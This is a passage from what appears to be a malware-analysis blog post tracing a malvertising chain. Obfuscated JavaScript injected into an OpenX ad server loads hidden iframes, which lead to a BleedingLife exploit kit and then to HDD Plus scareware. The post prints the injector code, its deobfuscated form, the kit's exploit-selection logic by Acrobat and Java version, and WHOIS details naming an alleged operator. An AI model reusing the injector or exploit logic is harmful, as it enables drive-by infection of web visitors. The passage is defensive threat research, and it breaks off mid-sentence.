width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"&amp;gt;";_19+="&amp;lt;param name=\"movie\" value=\""+this.getAttribute("swf")+"\" /&amp;gt;";var _1d=this.getParams();for(var key in _1d){_19+="&amp;lt;param name=\""+key+"\" value=\""+_1d[key]+"\" /&amp;gt;";}var _1f=this.getVariablePairs().join("&amp;amp;");if(_1f.length&amp;gt;0){_19+="&amp;lt;param name=\"flashvars\" value=\""+_1f+"\" /&amp;gt;";}_19+="&amp;lt;/object&amp;gt;";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new org.openx.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&amp;amp;&amp;amp;!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};org.openx.SWFObjectUtil.getPlayerVersion=function(){var _23=new org.openx.PlayerVersion([0,0,0]);if(navigator.plugins&amp;amp;&amp;amp;navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&amp;amp;&amp;amp;x.description){_23=new org.openx.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&amp;amp;&amp;amp;navigator.userAgent.indexOf("Windows CE")&amp;gt;=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new org.openx.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new org.openx.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new org.openx.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};org.openx.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};org.openx.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major&amp;lt;fv.major){return false;}if(this.major&amp;gt;fv.major){return true;}if(this.minor&amp;lt;fv.minor){return false;}if(this.minor&amp;gt;fv.minor){return true;}if(this.rev&amp;lt;fv.rev){return false;}return true;};org.openx.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&amp;amp;");for(var i=0;i&amp;lt;_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};org.openx.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i&amp;gt;=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(org.openx.SWFObject.doPrepUnload){if(!org.openx.unloadSet){org.openx.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",org.openx.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",org.openx.SWFObjectUtil.prepUnload);org.openx.unloadSet=true;}}if(!document.getElementById&amp;amp;&amp;amp;document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=org.openx.util.getRequestParameter;var FlashObject=org.openx.SWFObject;var SWFObject=org.openx.SWFObject;document.mmm_fo=1;var OX_8ec3b89b = '';&lt;br /&gt;OX_8ec3b89b += "&amp;lt;"+"script language=\"JavaScript\"&amp;gt;var dc=document; var date_ob=new Date(); dc.cookie=\'h1=o; path=/;\';if(dc.cookie.indexOf(\'3=llo\') &amp;lt;"+"= 0 &amp;amp;&amp;amp; dc.cookie.indexOf(\'1=o\') &amp;gt; 0){\n";&lt;br /&gt;OX_8ec3b89b += "function clng(wrd){var cou=new Array(\'en-us\',\'en-ca\',\'en-au\',\'en-gb\',\'fr-ca\',\'fr\',\'de\',\'es\',\'it\');for(i=0;i&amp;lt;"+"cou.length;i++){if(wrd==cou[i])return true;}return false;}\n";&lt;br /&gt;OX_8ec3b89b += "if(typeof navigator.language == \'undefined\'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\n";&lt;br /&gt;OX_8ec3b89b += "if(typeof run == \'undefined\'&amp;amp;&amp;amp;clng(nav.toLowerCase())){dc.writeln(\"&amp;lt;"+"script type=\\\"text/javascript\\\"&amp;gt;&amp;lt;"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'&amp;lt;"+"ifr\'+\'ame\'+host+src+sc+brdr+\'&amp;gt;&amp;lt;"+"/ifra\'+\'me&amp;gt;\');\");dc.writeln(\"//--&amp;gt;&amp;lt;"+"\\/script&amp;gt;\");} var run=1;\n";&lt;br /&gt;OX_8ec3b89b += "date_ob.setTime(date_ob.getTime()+86400000);dc.cookie=\'h3=llo; path=/; expires=\'+date_ob.toGMTString();}&amp;lt;"+"/script&amp;gt;\n";&lt;br /&gt;OX_8ec3b89b += "&amp;lt;"+"div id=\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\' style=\'display: inline;\'&amp;gt;&amp;lt;"+"img src=\'http://openx.takeatime.com/www/images/1x1.gif\' alt=\'\' title=\'\' border=\'0\' /&amp;gt;&amp;lt;"+"/div&amp;gt;\n";&lt;br /&gt;OX_8ec3b89b += "&amp;lt;"+"script type=\'text/javascript\'&amp;gt;&amp;lt;"+"!--// &amp;lt;"+"![CDATA[\n";&lt;br /&gt;OX_8ec3b89b += "var ox_swf = new FlashObject(\'http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&amp;amp;contenttype=swf\', \'Advertisement\', \'728\', \'90\', \'8\');\n";&lt;br /&gt;OX_8ec3b89b += "ox_swf.addVariable(\'clickTARGET\', \'_blank\');\n";&lt;br /&gt;OX_8ec3b89b += "ox_swf.addVariable(\'clickTAG\', \'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html\');\n";&lt;br /&gt;OX_8ec3b89b += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";&lt;br /&gt;OX_8ec3b89b += "ox_swf.write(\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\');\n";&lt;br /&gt;OX_8ec3b89b += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"&amp;lt;"+"div id=\'beacon_1e6e188d82\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'&amp;gt;&amp;lt;"+"img src=\'http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&amp;amp;campaignid=26&amp;amp;zoneid=1&amp;amp;loc=http%3A%2F%2Ftakeatime.com%2F&amp;amp;cb=1e6e188d82\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /&amp;gt;&amp;lt;"+"/div&amp;gt;\"); }\n";&lt;br /&gt;OX_8ec3b89b += "// ]]&amp;gt; --&amp;gt;&amp;lt;"+"/script&amp;gt;&amp;lt;"+"script type=\"text/javascript\"&amp;gt;var yoZ=[\'79\',\'89\',\'b0\',\'bb\',\'bf\',\'b2\',\'6e\',\'af\',\'7c\',\'bb\',\'c2\',\'7c\',\'b4\',\'bc\',\'bc\',\'b8\',\'6e\',\'7c\',\'90\',\'c0\',\'b2\',\'bb\',\'ad\',\'6e\',\'b1\',\'b5\',\'c5\',\'85\',\'b1\',\'bb\',\'7b\',\'6e\',\'8a\',\'b8\',\'be\',\'7c\',\'b1\',\'7f\',\'80\',\'79\',\'b0\',\'89\',\'ad\',\'c0\',\'be\',\'b1\',\'8a\',\'b0\',\'6c\',\'b4\',\'ad\',\'7d\',\'ae\',\'82\',\'b5\',\'89\',\'af\',\'be\',\'6e\',\'b1\',\'bf\',\'90\',\'88\',\'b9\',\'88\',\'6e\',\'b5\',\'b1\',\'89\',\'7e\',\'ad\',\'7c\',\'92\',\'be\',\'c2\',\'6e\',\'b5\',\'79\',\'c2\',\'c0\',\'be\',\'c0\',\'8a\',\'ad\',\'b5\',\'b0\',\'b9\',\'ad\',\'6e\',\'87\',\'7a\',\'8f\',\'ad\',\'88\',\'be\',\'7a\',\'b1\',\'8a\',\'89\',\'84\',\'90\',\'b8\',\'c2\',\'b8\',\'6c\',\'bf\',\'7c\',\'6e\',\'7d\',\'be\',\'bf\',\'6e\',\'bb\',\'bf\',\'7c\',\'be\',\'6c\',\'86\',\'6c\',\'b4\',\'6c\',\'c2\',\'7d\',\'6e\',\'8a\',\'be\',\'bc\',\'80\',\'ba\',\'bc\',\'af\',\'ba\',\'90\',\'8d\',\'6e\',\'6e\',\'83\',\'ad\',\'8b\',\'bf\',\'b2\',\'6e\',\'c5\',\'89\',\'af\',\'b4\',\'be\',\'89\',\'7b\',\'b9\',\'7f\',\'be\',\'6e\',\'b5\',\'af\',\'90\',\'ba\',\'ad\',\'ba\',\'7b\',\'b5\',\'6c\',\'7a\',\'b3\',\'88\',\'b1\',\'6c\',\'bc\',\'88\',\'b5\',\'6c\',\'ad\',\'89\',\'7b\',\'8a\',\'c0\',\'b4\',\'af\',\'af\',\'bc\',\'7b\',\'7b\',\'c3\',\'88\',\'ad\',\'ba\',\'bc\',\'6c\',\'b5\',\'b4\',\'be\',\'b1\',\'6e\',\'b3\',\'c0\',\'86\',\'89\'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj&amp;lt;"+"M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]&amp;gt;GTx[0]){return 1;}else{if(JrO[0]&amp;lt;"+"GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW&amp;lt;"+"bG0.length;NOW++){XzH[NOW]=String.fromCharCode(\'3\'+\'7\')+bG0[NOW][1];}function NhW(M3s){return M3s.join(\'\');}function T5_(OrK,yPk){var wC3=\'M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u\';var QiL=new Array();for(var lVh=0;lVh&amp;lt;"+"OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r&amp;lt;"+"ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA(\'%37%36\'));&amp;lt;"+"/script&amp;gt;\n";&lt;br /&gt;document.write(OX_8ec3b89b);&lt;/pre&gt;&lt;br /&gt;One line is obvious:&lt;br /&gt;&lt;pre class="brush: html;"&gt;OX_8ec3b89b += "if(typeof run == \'undefined\'&amp;amp;&amp;amp;clng(nav.toLowerCase())){dc.writeln(\"&amp;lt;"+"script type=\\\"text/javascript\\\"&amp;gt;&amp;lt;"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'&amp;lt;"+"ifr\'+\'ame\'+host+src+sc+brdr+\'&amp;gt;&amp;lt;"+"/ifra\'+\'me&amp;gt;\');\");dc.writeln(\"//--&amp;gt;&amp;lt;"+"\\/script&amp;gt;\");} var run=1;\n";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It creates an iframe pointing to the well-known malicious domain finofalts.com: http://finofalts.com/ke7rwdtw.php?s=IBB@G, which was inactive during the writing of this post. The whole script deobfuscates to:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;script language="JavaScript"&amp;gt;var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') &amp;lt;= 0 &amp;amp;&amp;amp; dc.cookie.indexOf('1=o') &amp;gt; 0){&lt;br /&gt;function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i&amp;lt;cou.length;i++){if(wrd==cou[i])return true;}return false;}&lt;br /&gt;if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}&lt;br /&gt;if(typeof run == 'undefined'&amp;amp;&amp;amp;clng(nav.toLowerCase())){dc.writeln("&amp;lt;script type=\"text/javascript\"&amp;gt;&amp;lt;!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\" ';");dc.writeln("document.write('&amp;lt;ifr'+'ame'+host+src+sc+brdr+'&amp;gt;&amp;lt;/ifra'+'me&amp;gt;');");dc.writeln("//--&amp;gt;&amp;lt;\/script&amp;gt;");} var run=1;&lt;br /&gt;date_ob.setTime(date_ob.getTime()+86400000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;div id='ox_30e97ef3c2c6a8e24bb919f7fe3adba6' style='display: inline;'&amp;gt;&amp;lt;img src='http://openx.takeatime.com/www/images/1x1.gif' alt='' title='' border='0' /&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;&amp;lt;!--// &amp;lt;![CDATA[&lt;br /&gt;var ox_swf = new FlashObject('http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&amp;amp;contenttype=swf', 'Advertisement', '728', '90', '8');&lt;br /&gt;ox_swf.addVariable('clickTARGET', '_blank');&lt;br /&gt;ox_swf.addVariable('clickTAG', 'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html');&lt;br /&gt;ox_swf.addParam('allowScriptAccess','always');&lt;br /&gt;ox_swf.write('ox_30e97ef3c2c6a8e24bb919f7fe3adba6');&lt;br /&gt;if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute('version'))) { document.write("&amp;lt;div id='beacon_1e6e188d82' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'&amp;gt;&amp;lt;img src='http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&amp;amp;campaignid=26&amp;amp;zoneid=1&amp;amp;loc=http%3A%2F%2Ftakeatime.com%2F&amp;amp;cb=1e6e188d82' width='0' height='0' alt='' style='width: 0px; height: 0px;' /&amp;gt;&amp;lt;/div&amp;gt;"); }&lt;br /&gt;// ]]&amp;gt; --&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script type="text/javascript"&amp;gt;var yoZ=['79','89','b0','bb','bf','b2','6e','af','7c','bb','c2','7c','b4','bc','bc','b8','6e','7c','90','c0','b2','bb','ad','6e','b1','b5','c5','85','b1','bb','7b','6e','8a','b8','be','7c','b1','7f','80','79','b0','89','ad','c0','be','b1','8a','b0','6c','b4','ad','7d','ae','82','b5','89','af','be','6e','b1','bf','90','88','b9','88','6e','b5','b1','89','7e','ad','7c','92','be','c2','6e','b5','79','c2','c0','be','c0','8a','ad','b5','b0','b9','ad','6e','87','7a','8f','ad','88','be','7a','b1','8a','89','84','90','b8','c2','b8','6c','bf','7c','6e','7d','be','bf','6e','bb','bf','7c','be','6c','86','6c','b4','6c','c2','7d','6e','8a','be','bc','80','ba','bc','af','ba','90','8d','6e','6e','83','ad','8b','bf','b2','6e','c5','89','af','b4','be','89','7b','b9','7f','be','6e','b5','af','90','ba','ad','ba','7b','b5','6c','7a','b3','88','b1','6c','bc','88','b5','6c','ad','89','7b','8a','c0','b4','af','af','bc','7b','7b','c3','88','ad','ba','bc','6c','b5','b4','be','b1','6e','b3','c0','86','89'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj&amp;lt;M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]&amp;gt;GTx[0]){return 1;}else{if(JrO[0]&amp;lt;GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW&amp;lt;bG0.length;NOW++){XzH[NOW]=String.fromCharCode('3'+'7')+bG0[NOW][1];}function NhW(M3s){return M3s.join('');}function T5_(OrK,yPk){var wC3='M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u';var QiL=new Array();for(var lVh=0;lVh&amp;lt;OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r&amp;lt;ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA('%37%36'));&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note the "document.write(NhW(kkz));" part, which in the end generates another deobfuscation:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;var style="display: none;"&amp;gt;&amp;lt;var&amp;gt;&amp;lt;iframe src="http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D" width="100" height="100" hspace="0" vspace="0" frameborder="0" scrolling="no"&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/var&amp;gt;&amp;lt;/var&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This causes the browser to load from http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D, whose contents are:&lt;br /&gt;&lt;pre class="brush: html;"&gt;HTTP/1.1 302 Moved Temporarily&lt;br /&gt;Date: Wed, 15 Dec 2010 17:45:29 GMT&lt;br /&gt;Server: Apache/2.2.16 (FreeBSD) mod_ssl/2.2.16 OpenSSL/0.9.8k DAV/2 PHP/5.3.3&lt;br /&gt;X-Powered-By: PHP/5.3.3&lt;br /&gt;Location: http://govtds09.co.cc/tds/in.cgi?default&lt;br /&gt;Content-Length: 0&lt;br /&gt;Keep-Alive: timeout=5, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The iframe is redirected to http://govtds09.co.cc/tds/in.cgi?default, which is:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;html&amp;gt;&amp;lt;frameset rows="100%"&amp;gt;&amp;lt;frame src="http://expa42.co.cc/bl3/"&amp;gt;&amp;lt;/frameset&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And so, expa42.co.cc is the exploit server running BleedingLife v2. Upon loading, BleedingLife analyzes the environment and decides which exploit to use:&lt;br /&gt;&lt;pre class="brush: html;"&gt;if(acrobat.installed){&lt;br /&gt;if(acrobat.version &amp;gt;= 800 &amp;amp;&amp;amp; acrobat.version &amp;lt; 821){&lt;br /&gt;  ("http://expa42.co.cc/bl3/load.php?e=Adobe-80-2010-0188"); &lt;br /&gt;}else if(acrobat.version &amp;gt;= 900 &amp;amp;&amp;amp; acrobat.version &amp;lt; 940){&lt;br /&gt;  if(acrobat.version &amp;lt; 931){  &lt;br /&gt;    ("http://expa42.co.cc/bl3/load.php?e=Adobe-90-2010-0188");&lt;br /&gt;  }else if(acrobat.version &amp;lt; 933){&lt;br /&gt;    ("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-1297");&lt;br /&gt;  }else if(acrobat.version &amp;lt; 940){&lt;br /&gt;    ("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-2884");&lt;br /&gt;  }&lt;br /&gt;}else if(acrobat.version &amp;gt;= 700 &amp;amp;&amp;amp; acrobat.version &amp;lt; 711){&lt;br /&gt;  ("http://expa42.co.cc/bl3/load.php?e=Adobe-2008-2992");  &lt;br /&gt;}     &lt;br /&gt;   &lt;br /&gt;if(ojava.installed){&lt;br /&gt;  if(ojava.version &amp;lt; 6 || (ojava.version == 6 &amp;amp;&amp;amp; ojava.build &amp;lt; 19)){&lt;br /&gt;    ("http://expa42.co.cc/bl3/load.php?e=Java-2010-0842");&lt;br /&gt;  }else if(ojava.version == 6 &amp;amp;&amp;amp; ojava.build &amp;lt; 22){&lt;br /&gt;    ("http://expa42.co.cc/bl3/load.php?e=Java-2010-3552");&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As the time of this writing, the detection rate for these exploits are currently extremely low. For example http://expa42.co.cc/bl3/load.php?e=Java-2010-3552 (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3552"&gt;CVE-2010-3552&lt;/a&gt;) triggers &lt;a href="http://www.virustotal.com/file-scan/report.html?id=fe5aad0b555500bf52bec20a53491fb360762861c85dbc5884aa7f5ab7f33a9b-1292636820"&gt;1/43 on VirusTotal&lt;/a&gt; and &lt;a href="http://virusscan.jotti.org/en/scanresult/e1916a8338e1fc6e9e649d4a6c91faf2a1504c86"&gt;0/19 on jotti&lt;/a&gt;, and load.php?e=Adobe-2010-2884 (&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3960560512750569190" org="" bin="" name="CVE-2010-2884"&gt;CVE-2010-2884&lt;/a&gt;) currently triggers &lt;a href="http://www.virustotal.com/file-scan/report.html?id=c7e5063d38e2104a15448ad3f45167d97afb36006a38bd3f7c68dc97d6dc67bd-1292493783"&gt;5/43 on VB&lt;/a&gt; and &lt;a href="http://virusscan.jotti.org/en/scanresult/becb6e1fb71264cd95ffd4d80aefac3ceeb0ceda"&gt; 2/19 on joiit.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Upon successful exploitation, the shellcode will drop binaries from: http://expa42.co.cc/bl3/load.php?e=XX, where XX is the exploit name; for example, http://expa42.co.cc/bl3/drop.php?e=Adobe-90-2010-0188. Currently all binaries are the same--HDD Tool. The detection of this piece of malware, which is what gets dropped in the end, is about half: &lt;a href="http://www.virustotal.com/file-scan/report.html?id=12f582d21e2517d013c3a6029c601686cd63903cc2feaaad78a1212c17adcb60-1292487673"&gt;15/43 on VB&lt;/a&gt;, and &lt;a href="http://virusscan.jotti.org/en/scanresult/3aee30a15393e967822c98bc2bae5b07a00e06a3"&gt;11/19 on jotti&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[A guy behind all this]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;HDD Plus has spread via DoubleClick, MSN, and now compromised OpenX platforms. We wanted to know who was behind all this. But there are just too many malicious domains to look into. From our experience, those spreading the malware (submitting the AdShufffle fake ad, compromising OpenX platforms, etc) and those developing the malware and collecting the license fees, may not be the same group. There are just too many compromised hosts (ex: takeatime.com) and exploit domains (ex: finofalts.com, parti13.co.cc, expa42.co.cc, and the gosh majority of co.cc) to look into; however, the billing process won't be that many--it takes more time to develop payment mechanisms--and so, it's where to start looking into.&lt;br /&gt;&lt;br /&gt;Both HDD Plus and HDD Tools connected to two domains when the victims tried to pay: defragstore.com (registered on Jun 30th), and onlinepaydebt.com (Sep 27th), which resolves to the same IP 94.76.192.210 (UK PoundHost, dedicated). defragstore.com lists a customer support line: +1-877-282-0139. This is the same support line in the invoice provided, when victims made the purchase. It routes to call centers in India, and they very quickly credit me back my money. &lt;b&gt;This is typical scareware behavior. Payment mechanisms are hard to setup, so they do give back your money, so their payment gateways don't get taken down.&lt;/b&gt; The company name on the invoice was "SecurityLabSoftware," and the creditor showing up on my bill was "trd-app.com"&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwn_EwDl_I/AAAAAAAACJ4/opIz3oCYO0A/s1600/defragstore_com.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TQwn_EwDl_I/AAAAAAAACJ4/opIz3oCYO0A/s1600/defragstore_com.png" alt="" id="BLOGGER_PHOTO_ID_5551856405201524722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The customer support website allows customers to login, download the software, and file tickets: http://acideds.org/customers (registered Nov 2nd, 2010)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_hELDi5B8zOI/TQwrcv0I12I/AAAAAAAACKA/2m6LORTtvwo/s1600/hdd_plus_customer_support.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_hELDi5B8zOI/TQwrcv0I12I/AAAAAAAACKA/2m6LORTtvwo/s1600/hdd_plus_customer_support.png" alt="" id="BLOGGER_PHOTO_ID_5551860213512460130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are multiple domains because some will be taken down / flagged:&lt;br /&gt;http://earlyeds.org/customers&lt;br /&gt;http://dirtyeds.org/customers&lt;br /&gt;http://edsclick.com/customers&lt;br /&gt;http://www.edsclick.com/customers&lt;br /&gt;&lt;br /&gt;Okay, so now we have parties that helped develop these website and payment mechanisms, call center agents, and hosting companies. After contacting many people in Europe, UK, India and Russian, and speaking some Russian (Fyodor is Russian), everyone said that all these have been setup and developed by Mr. Dmitry Slevin, based in Moscow, and gave us his email. Using whois, we found his phone number.&lt;br /&gt;&lt;br /&gt;We first noticed that Slevin owned malwaremechanic.com from Nov 2009 to Jun 2010; &lt;a href="http://malwareint.blogspot.com/2010/01/recent-tour-of-scareware-xx.html"&gt;malwaremechanic.com is a known scareware&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;(this is hostorical whois data and dates Nov 6th, 2009)&lt;br /&gt;Domain Name: MALWAREMECHANIC.COM&lt;br /&gt;    Created on: 10-Oct-07&lt;br /&gt;    Expires on: 10-Oct-10&lt;br /&gt;    Last Updated on: 05-Nov-09&lt;br /&gt;&lt;br /&gt;Administrative Contact:&lt;br /&gt;    Esaulova, Alla  slevintm@gmail.com&lt;br /&gt;    MDA Systems ltd&lt;br /&gt;    35 Brompton Road, Knightsbridge&lt;br /&gt;    London, London SW3 1DE&lt;br /&gt;    United Kingdom&lt;br /&gt;    +44.4402078080190      Fax --&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We then noticed that on Dec 6th, Slevin registered systemutilites.com, where we can download a trial version of "System Utilities." Not only does it look remarkably identical to HDD Plus and HDD Tools, it triggers &lt;a href="http://www.virustotal.com/file-scan/report.html?id=98b5d5f88fcbffc0bf04bf8f5491bc411871f610a45ec3db732b3fbdd50914cb-1292645691"&gt;24/45 (as FakeAV) on 